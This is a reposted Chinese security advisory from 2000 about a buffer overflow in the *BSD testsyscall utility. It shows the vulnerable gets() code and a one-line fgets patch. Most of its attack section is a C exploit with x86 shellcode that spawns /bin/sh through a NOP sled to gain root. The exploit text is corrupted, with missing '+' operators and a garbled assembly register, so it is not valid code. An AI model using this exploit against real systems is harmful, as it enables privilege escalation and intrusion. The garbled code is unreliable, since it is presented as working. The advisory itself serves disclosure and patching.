*BSD testsyscall远程溢出漏洞

2008-04-11 09:36:30来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

*BSD testsyscall远程溢出漏洞

发布日期:2000-06-23
更新日期:2000-06-23

受影响系统:

- OpenBSD
- NetBSD
- FreeBSD
描述:

testsyscall是一个来对写LKM使用的系统调用进行测试的工具。它可以通过"inetd"守护程序
启动,也可以手工启动。它存在一个缓冲区溢出漏洞,可能导致远程获取root权限。

testsyscall从标准输入中得到系统调用号,并使用syscall()函数去执行相应的系统调用
但是,testsyscall没有对用户输入的数据进行边界检查。数据将被拷贝到一个80字节的固
定大小的缓冲区中,如果用户输入的数据超过80字节,就可能发生缓冲区溢出。如果testsyscall
在inetd中启动,用户可能远程获取root权限。如果在本地启动,本地用户也可能获取更高
级别的权限。

有问题的代码部分在:

/* $NetBSD: testsyscall.c,v 1.2 1997/10/13 11:20:53 lukem Exp $
*/
#include <stdio.h>

main()
{
char buf[ 80];
int err = 0;

printf( "Table offset as reported by modstat: ");
if( gets( buf) == NULL) {
printf( "[ABORT]\n");
exit( 1);
}
...

我们看到由于使用gets()没有进行边界检查,导致了这个安全问题的产生。

<* 来源: RLoxley
shinex@suburbs.net
*>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



// testsyscall.c exploit by shinex
// made for rlox

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char shellcode[] =
"\xeb\x23"
"\x5e"
"\x8d\x1e"
"\x89\x5e\x0b"
"\x31\xd2"
"\x89\x56\x07"
"\x89\x56\x0f"
"\x89\x56\x14"
"\x88\x56\x19"
"\x31\xc0"
"\xb0\x3b"
"\x8d\x4e\x0b"
"\x89\xca"
"\x52"
"\x51"
"\x53"
"\x50"
"\xeb\x18"
"\xe8\xd8\xff\xff\xff"
"/bin/sh"
"\x01\x01\x01\x01"
"\x02\x02\x02\x02"
"\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";

unsigned long get_esp(void)
{
__asm__("movl %esp, 陎");
}

void main(int argc, char **argv)
{
FILE * pi;
char *buf,*p;
unsigned long *adr;

int i,off;

if(argc < 2)
{
puts("usage, testsyscallexploit \"path_to_testsyscall\" \"optional_offset\"");
exit(-1);
}

if (argc>2)
off=atoi(argv[2]);
else off=4;
printf("using buffer delta:%d\n",off);

if((p = buf = malloc(2268 28 off))==NULL)
exit(-1);

memset(p, 0x90, 2268 off);
p = 2268 off - strlen(shellcode);

for(i = 0; i < strlen(shellcode); i )
*p = shellcode[i];
adr = (long *)p;
for(i = 0; i < 7; i )
*adr = get_esp();
p = (char *)adr;
*p = 0;

pi = popen(argv[1], "w");

if(pi == NULL) {
perror("popen");
exit(-1);
}

*p = '\n';

*(p 1) = '\0';

if(fwrite(buf, strlen(buf), 1, pi)<0)
{
perror("fwrite");
exit(-1);
}

//execl(argv[1], argv[1],buf, NULL);
}


建议:

临时补丁程序:
# cat hp_testsyscall_patch.diff
49c49
< if( gets( buf) == NULL) {
---
> if( fgets( buf, 50, stdin) == NULL) {


标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:FreeBSD IP堆栈远程拒绝服务漏洞

下一篇:Linux ls